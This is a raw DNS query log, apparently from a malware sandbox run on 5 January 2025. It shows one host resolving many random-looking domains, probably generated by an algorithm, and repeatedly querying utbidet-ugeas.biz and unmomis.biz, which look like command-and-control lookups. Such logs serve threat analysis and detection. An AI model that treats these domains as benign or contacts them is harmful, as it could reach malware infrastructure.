Jan 5, 2025 10:49:22.773941994 CET	192.168.2.4	1.1.1.1	0x8358	Standard query (0)	yracsqqxexs.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.809303045 CET	192.168.2.4	1.1.1.1	0x46c2	Standard query (0)	yracsqqxexs.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.929666996 CET	192.168.2.4	1.1.1.1	0xfd77	Standard query (0)	aokjayb.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.945542097 CET	192.168.2.4	1.1.1.1	0x16df	Standard query (0)	aokjayb.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.098149061 CET	192.168.2.4	1.1.1.1	0xd847	Standard query (0)	yaoumkenqqs.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.112463951 CET	192.168.2.4	1.1.1.1	0x2a9c	Standard query (0)	yaoumkenqqs.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.243824005 CET	192.168.2.4	1.1.1.1	0x6f40	Standard query (0)	zquxf.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.277196884 CET	192.168.2.4	1.1.1.1	0x3c45	Standard query (0)	zquxf.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.508780956 CET	192.168.2.4	1.1.1.1	0x5172	Standard query (0)	reugd.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.609422922 CET	192.168.2.4	1.1.1.1	0x1455	Standard query (0)	reugd.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.773195982 CET	192.168.2.4	1.1.1.1	0x7698	Standard query (0)	dawsopnarqaej.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.784230947 CET	192.168.2.4	1.1.1.1	0x32bf	Standard query (0)	dawsopnarqaej.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.921976089 CET	192.168.2.4	1.1.1.1	0xd288	Standard query (0)	wiqicmuya.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.945247889 CET	192.168.2.4	1.1.1.1	0x76aa	Standard query (0)	wiqicmuya.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.070822954 CET	192.168.2.4	1.1.1.1	0xd932	Standard query (0)	caqvxcjyaj.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.083615065 CET	192.168.2.4	1.1.1.1	0xbdf3	Standard query (0)	caqvxcjyaj.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.210748911 CET	192.168.2.4	1.1.1.1	0x7c80	Standard query (0)	cuqwhymvy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.222573042 CET	192.168.2.4	1.1.1.1	0x6635	Standard query (0)	cuqwhymvy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.336044073 CET	192.168.2.4	1.1.1.1	0x669b	Standard query (0)	nmocagwiydqcim.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.409358025 CET	192.168.2.4	1.1.1.1	0xfc12	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:25.288875103 CET	192.168.2.4	1.1.1.1	0xa3d6	Standard query (0)	kemgcimlg.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:25.318159103 CET	192.168.2.4	1.1.1.1	0x48e8	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:26.151021004 CET	192.168.2.4	1.1.1.1	0x2ecb	Standard query (0)	ecxcemhjglio.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:26.182773113 CET	192.168.2.4	1.1.1.1	0x8bae	Standard query (0)	ecxcemhjglio.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:27.194817066 CET	192.168.2.4	1.1.1.1	0x8bae	Standard query (0)	ecxcemhjglio.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:27.820100069 CET	192.168.2.4	1.1.1.1	0xb18a	Standard query (0)	ywpacqi.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:27.927081108 CET	192.168.2.4	1.1.1.1	0x6107	Standard query (0)	ywpacqi.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:28.320914030 CET	192.168.2.4	1.1.1.1	0xb79d	Standard query (0)	swaxqayolcq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:28.614259005 CET	192.168.2.4	1.1.1.1	0x7478	Standard query (0)	swaxqayolcq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:28.820866108 CET	192.168.2.4	1.1.1.1	0xb48	Standard query (0)	fiwbqgwfmek.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:28.888170958 CET	192.168.2.4	1.1.1.1	0x48c6	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:29.644340038 CET	192.168.2.4	1.1.1.1	0xf1ab	Standard query (0)	ckuqkrikwocye.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:29.689872980 CET	192.168.2.4	1.1.1.1	0x7ca0	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.397692919 CET	192.168.2.4	1.1.1.1	0x41cb	Standard query (0)	vaoqw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.504550934 CET	192.168.2.4	1.1.1.1	0xe756	Standard query (0)	vaoqw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.805639029 CET	192.168.2.4	1.1.1.1	0x92dd	Standard query (0)	ciejid.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.825112104 CET	192.168.2.4	1.1.1.1	0x4bc6	Standard query (0)	ciejid.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.951632023 CET	192.168.2.4	1.1.1.1	0xcd6d	Standard query (0)	ekiymuyr.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:31.089037895 CET	192.168.2.4	1.1.1.1	0x2365	Standard query (0)	ekiymuyr.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:32.085490942 CET	192.168.2.4	1.1.1.1	0x61	Standard query (0)	guyqqpguaei.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:32.153652906 CET	192.168.2.4	1.1.1.1	0x2a1	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:32.741570950 CET	192.168.2.4	1.1.1.1	0x598	Standard query (0)	kgesjgcoile.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:32.842350960 CET	192.168.2.4	1.1.1.1	0x1656	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:33.664518118 CET	192.168.2.4	1.1.1.1	0xa56f	Standard query (0)	iswwoj.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:33.681478024 CET	192.168.2.4	1.1.1.1	0x718f	Standard query (0)	iswwoj.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:33.805557966 CET	192.168.2.4	1.1.1.1	0xa8b	Standard query (0)	xovsresoi.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.104187965 CET	192.168.2.4	1.1.1.1	0x8c97	Standard query (0)	xovsresoi.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.258923054 CET	192.168.2.4	1.1.1.1	0x9ae4	Standard query (0)	npdwtip.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.350081921 CET	192.168.2.4	1.1.1.1	0x7764	Standard query (0)	npdwtip.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.480509043 CET	192.168.2.4	1.1.1.1	0x4dd4	Standard query (0)	emyenboazaevg.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.519439936 CET	192.168.2.4	1.1.1.1	0x927b	Standard query (0)	emyenboazaevg.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.648344994 CET	192.168.2.4	1.1.1.1	0xae6	Standard query (0)	zyasveifqoc.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.679303885 CET	192.168.2.4	1.1.1.1	0x14b2	Standard query (0)	zyasveifqoc.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.805619955 CET	192.168.2.4	1.1.1.1	0x16a2	Standard query (0)	ogiopdjqht.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.832098961 CET	192.168.2.4	1.1.1.1	0x61db	Standard query (0)	ogiopdjqht.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.961982012 CET	192.168.2.4	1.1.1.1	0x19a7	Standard query (0)	swmsi.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:35.006943941 CET	192.168.2.4	1.1.1.1	0x7731	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:35.820388079 CET	192.168.2.4	1.1.1.1	0x2c35	Standard query (0)	wjqwkdcn.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:35.876733065 CET	192.168.2.4	1.1.1.1	0xf172	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.679150105 CET	192.168.2.4	1.1.1.1	0x968b	Standard query (0)	ygrdwaz.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.692985058 CET	192.168.2.4	1.1.1.1	0x623b	Standard query (0)	ygrdwaz.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.820656061 CET	192.168.2.4	1.1.1.1	0xd276	Standard query (0)	rpygp.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.850716114 CET	192.168.2.4	1.1.1.1	0xe976	Standard query (0)	rpygp.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.976070881 CET	192.168.2.4	1.1.1.1	0x5dca	Standard query (0)	vvmamxwaowu.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:37.135811090 CET	192.168.2.4	1.1.1.1	0x1459	Standard query (0)	vvmamxwaowu.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:37.367578030 CET	192.168.2.4	1.1.1.1	0x839c	Standard query (0)	lcgxgu.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:37.427089930 CET	192.168.2.4	1.1.1.1	0x8d3e	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:38.133099079 CET	192.168.2.4	1.1.1.1	0xa5c3	Standard query (0)	eteeu.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:38.183402061 CET	192.168.2.4	1.1.1.1	0x5786	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:38.773829937 CET	192.168.2.4	1.1.1.1	0x1031	Standard query (0)	cemyvpo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:38.806576014 CET	192.168.2.4	1.1.1.1	0x6de3	Standard query (0)	cemyvpo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.054843903 CET	192.168.2.4	1.1.1.1	0xc2	Standard query (0)	nrkaunaihoc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.103986979 CET	192.168.2.4	1.1.1.1	0xcad0	Standard query (0)	nrkaunaihoc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.226845980 CET	192.168.2.4	1.1.1.1	0x9f6c	Standard query (0)	woqxhdnsa.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.320038080 CET	192.168.2.4	1.1.1.1	0xb4b5	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.928289890 CET	192.168.2.4	1.1.1.1	0xe578	Standard query (0)	gjgps.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.983021021 CET	192.168.2.4	1.1.1.1	0x584c	Standard query (0)	gjgps.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:40.117544889 CET	192.168.2.4	1.1.1.1	0xbc84	Standard query (0)	bcuiiixkpygtqa.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:40.368361950 CET	192.168.2.4	1.1.1.1	0xfa9b	Standard query (0)	bcuiiixkpygtqa.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:40.525048971 CET	192.168.2.4	1.1.1.1	0xf05a	Standard query (0)	owesacumdcaa.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:40.797300100 CET	192.168.2.4	1.1.1.1	0x171c	Standard query (0)	owesacumdcaa.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.164386988 CET	192.168.2.4	1.1.1.1	0xe916	Standard query (0)	sevixiextecu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.462110996 CET	192.168.2.4	1.1.1.1	0xfc55	Standard query (0)	sevixiextecu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.836113930 CET	192.168.2.4	1.1.1.1	0xbcc2	Standard query (0)	gxvvuye.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.852468967 CET	192.168.2.4	1.1.1.1	0x99e3	Standard query (0)	gxvvuye.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.992575884 CET	192.168.2.4	1.1.1.1	0x5114	Standard query (0)	jryck.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:42.044428110 CET	192.168.2.4	1.1.1.1	0x57e7	Standard query (0)	jryck.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:42.195178032 CET	192.168.2.4	1.1.1.1	0x4ba1	Standard query (0)	iemfgabqwbmfn.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:42.391690969 CET	192.168.2.4	1.1.1.1	0x2dc0	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:42.996750116 CET	192.168.2.4	1.1.1.1	0xccaf	Standard query (0)	fwajtywgq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.092187881 CET	192.168.2.4	1.1.1.1	0xcbc9	Standard query (0)	fwajtywgq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.257392883 CET	192.168.2.4	1.1.1.1	0x3ae9	Standard query (0)	maumej.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.538690090 CET	192.168.2.4	1.1.1.1	0x6296	Standard query (0)	maumej.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.935136080 CET	192.168.2.4	1.1.1.1	0x3502	Standard query (0)	wcwwwdncxrige.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.984548092 CET	192.168.2.4	1.1.1.1	0xbd9	Standard query (0)	wcwwwdncxrige.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.119735956 CET	192.168.2.4	1.1.1.1	0x34c2	Standard query (0)	syymzy.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.211555958 CET	192.168.2.4	1.1.1.1	0x19b6	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.819678068 CET	192.168.2.4	1.1.1.1	0x6613	Standard query (0)	ougurobjx.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.835484982 CET	192.168.2.4	1.1.1.1	0x5396	Standard query (0)	ougurobjx.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.962302923 CET	192.168.2.4	1.1.1.1	0xf0e2	Standard query (0)	serwgcac.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.249923944 CET	192.168.2.4	1.1.1.1	0xa31d	Standard query (0)	serwgcac.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.655951023 CET	192.168.2.4	1.1.1.1	0x427e	Standard query (0)	vmugiwysu.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.705590963 CET	192.168.2.4	1.1.1.1	0x10b2	Standard query (0)	vmugiwysu.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.961059093 CET	192.168.2.4	1.1.1.1	0x5d2a	Standard query (0)	bkwugcapgwa.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.992609978 CET	192.168.2.4	1.1.1.1	0xedf2	Standard query (0)	bkwugcapgwa.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.218904018 CET	192.168.2.4	1.1.1.1	0x8e4d	Standard query (0)	qmcpoivieex.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.231585979 CET	192.168.2.4	1.1.1.1	0xa2b1	Standard query (0)	qmcpoivieex.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.366596937 CET	192.168.2.4	1.1.1.1	0xa9fc	Standard query (0)	moiwoqocgea.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.518034935 CET	192.168.2.4	1.1.1.1	0xef97	Standard query (0)	moiwoqocgea.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.648068905 CET	192.168.2.4	1.1.1.1	0x897b	Standard query (0)	vkiesfos.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.658817053 CET	192.168.2.4	1.1.1.1	0x6cb4	Standard query (0)	vkiesfos.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.776453972 CET	192.168.2.4	1.1.1.1	0x979b	Standard query (0)	owfiavtxosgylw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.825089931 CET	192.168.2.4	1.1.1.1	0x3fdd	Standard query (0)	owfiavtxosgylw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.949453115 CET	192.168.2.4	1.1.1.1	0xdbd6	Standard query (0)	sokqc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.053215981 CET	192.168.2.4	1.1.1.1	0xf20b	Standard query (0)	sokqc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.257257938 CET	192.168.2.4	1.1.1.1	0xbb9c	Standard query (0)	bekenikozeumt.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.284591913 CET	192.168.2.4	1.1.1.1	0x2d69	Standard query (0)	bekenikozeumt.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.444720984 CET	192.168.2.4	1.1.1.1	0x6141	Standard query (0)	yugny.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.506201029 CET	192.168.2.4	1.1.1.1	0xa54a	Standard query (0)	yugny.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.633491039 CET	192.168.2.4	1.1.1.1	0x7966	Standard query (0)	gkgyg.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.675364971 CET	192.168.2.4	1.1.1.1	0x654b	Standard query (0)	gkgyg.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.788746119 CET	192.168.2.4	1.1.1.1	0x593d	Standard query (0)	odctmlemj.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.858828068 CET	192.168.2.4	1.1.1.1	0xfd7	Standard query (0)	odctmlemj.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.226744890 CET	192.168.2.4	1.1.1.1	0xb2a0	Standard query (0)	klcqogebeeyf.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.302737951 CET	192.168.2.4	1.1.1.1	0x1647	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.317173004 CET	192.168.2.4	1.1.1.1	0x2f3c	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.429828882 CET	192.168.2.4	1.1.1.1	0x3680	Standard query (0)	sfusuj.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.709250927 CET	192.168.2.4	1.1.1.1	0x4cce	Standard query (0)	sfusuj.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.085757971 CET	192.168.2.4	1.1.1.1	0x16b4	Standard query (0)	rfnqowosjdyywe.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.208326101 CET	192.168.2.4	1.1.1.1	0xda72	Standard query (0)	rfnqowosjdyywe.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.398804903 CET	192.168.2.4	1.1.1.1	0x2fc0	Standard query (0)	qmyuetbcy.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.474967957 CET	192.168.2.4	1.1.1.1	0xafcd	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.488254070 CET	192.168.2.4	1.1.1.1	0x7d60	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.606878996 CET	192.168.2.4	1.1.1.1	0x5be1	Standard query (0)	rewap.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.639424086 CET	192.168.2.4	1.1.1.1	0x1fb5	Standard query (0)	rewap.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.772819996 CET	192.168.2.4	1.1.1.1	0x9d94	Standard query (0)	qyouhmowxf.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.821712971 CET	192.168.2.4	1.1.1.1	0x3877	Standard query (0)	qyouhmowxf.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.966018915 CET	192.168.2.4	1.1.1.1	0xab8a	Standard query (0)	giwekkjuqcgjut.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.051238060 CET	192.168.2.4	1.1.1.1	0xc38d	Standard query (0)	giwekkjuqcgjut.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.196013927 CET	192.168.2.4	1.1.1.1	0xef65	Standard query (0)	xuzuvcakfiqoe.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.216998100 CET	192.168.2.4	1.1.1.1	0x8142	Standard query (0)	xuzuvcakfiqoe.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.339602947 CET	192.168.2.4	1.1.1.1	0xfb42	Standard query (0)	arctcvsoxvcwi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.356592894 CET	192.168.2.4	1.1.1.1	0xbfa6	Standard query (0)	arctcvsoxvcwi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.476423979 CET	192.168.2.4	1.1.1.1	0xed3d	Standard query (0)	efwqk.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:51.366925955 CET	192.168.2.4	1.1.1.1	0xfc12	Standard query (0)	efwqk.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.275902033 CET	192.168.2.4	1.1.1.1	0xa6e1	Standard query (0)	cuiknmusqatjr.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.429153919 CET	192.168.2.4	1.1.1.1	0xc0c9	Standard query (0)	cuiknmusqatjr.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.729614019 CET	192.168.2.4	1.1.1.1	0x2952	Standard query (0)	viasctzogiifus.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.768332005 CET	192.168.2.4	1.1.1.1	0xedb9	Standard query (0)	viasctzogiifus.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.914858103 CET	192.168.2.4	1.1.1.1	0xb82f	Standard query (0)	cqgkoeo.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.004272938 CET	192.168.2.4	1.1.1.1	0x1beb	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.022037983 CET	192.168.2.4	1.1.1.1	0x4c7a	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.148266077 CET	192.168.2.4	1.1.1.1	0x2423	Standard query (0)	keqqkjggekku.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.204296112 CET	192.168.2.4	1.1.1.1	0x5f4a	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.215394974 CET	192.168.2.4	1.1.1.1	0xffa0	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.437325954 CET	192.168.2.4	1.1.1.1	0xe048	Standard query (0)	ewqip.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.500754118 CET	192.168.2.4	1.1.1.1	0x4eef	Standard query (0)	ewqip.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.676472902 CET	192.168.2.4	1.1.1.1	0x832b	Standard query (0)	ecgyy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.834389925 CET	192.168.2.4	1.1.1.1	0x4098	Standard query (0)	ecgyy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.961116076 CET	192.168.2.4	1.1.1.1	0x6506	Standard query (0)	uogaupijjih.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.007889986 CET	192.168.2.4	1.1.1.1	0x6300	Standard query (0)	uogaupijjih.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.396089077 CET	192.168.2.4	1.1.1.1	0xfe47	Standard query (0)	edsebunybzlni.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.428486109 CET	192.168.2.4	1.1.1.1	0x3004	Standard query (0)	edsebunybzlni.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.663921118 CET	192.168.2.4	1.1.1.1	0x616e	Standard query (0)	zucmeoisy.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.780006886 CET	192.168.2.4	1.1.1.1	0x35d	Standard query (0)	zucmeoisy.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.993751049 CET	192.168.2.4	1.1.1.1	0x7a81	Standard query (0)	geefk.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:55.119884014 CET	192.168.2.4	1.1.1.1	0x9e24	Standard query (0)	geefk.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:55.366658926 CET	192.168.2.4	1.1.1.1	0x37e6	Standard query (0)	fegfnurqf.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:56.382179976 CET	192.168.2.4	1.1.1.1	0x37e6	Standard query (0)	fegfnurqf.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:56.664033890 CET	192.168.2.4	1.1.1.1	0xefe8	Standard query (0)	fegfnurqf.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.070732117 CET	192.168.2.4	1.1.1.1	0xb273	Standard query (0)	ayycvow.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.251255989 CET	192.168.2.4	1.1.1.1	0x8650	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.268109083 CET	192.168.2.4	1.1.1.1	0x5ed9	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.398067951 CET	192.168.2.4	1.1.1.1	0x83f0	Standard query (0)	muuqeszkbzyvc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.414880037 CET	192.168.2.4	1.1.1.1	0x5962	Standard query (0)	muuqeszkbzyvc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.539858103 CET	192.168.2.4	1.1.1.1	0x1f0a	Standard query (0)	gbbey.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.687664032 CET	192.168.2.4	1.1.1.1	0x7432	Standard query (0)	gbbey.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.899962902 CET	192.168.2.4	1.1.1.1	0xb710	Standard query (0)	illicso.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.918174028 CET	192.168.2.4	1.1.1.1	0x378a	Standard query (0)	illicso.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:58.117120981 CET	192.168.2.4	1.1.1.1	0xca68	Standard query (0)	fgewqtckc.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.039280891 CET	192.168.2.4	1.1.1.1	0xd8da	Standard query (0)	fgewqtckc.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.333201885 CET	192.168.2.4	1.1.1.1	0x253b	Standard query (0)	uyoef.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.426014900 CET	192.168.2.4	1.1.1.1	0xaa9	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
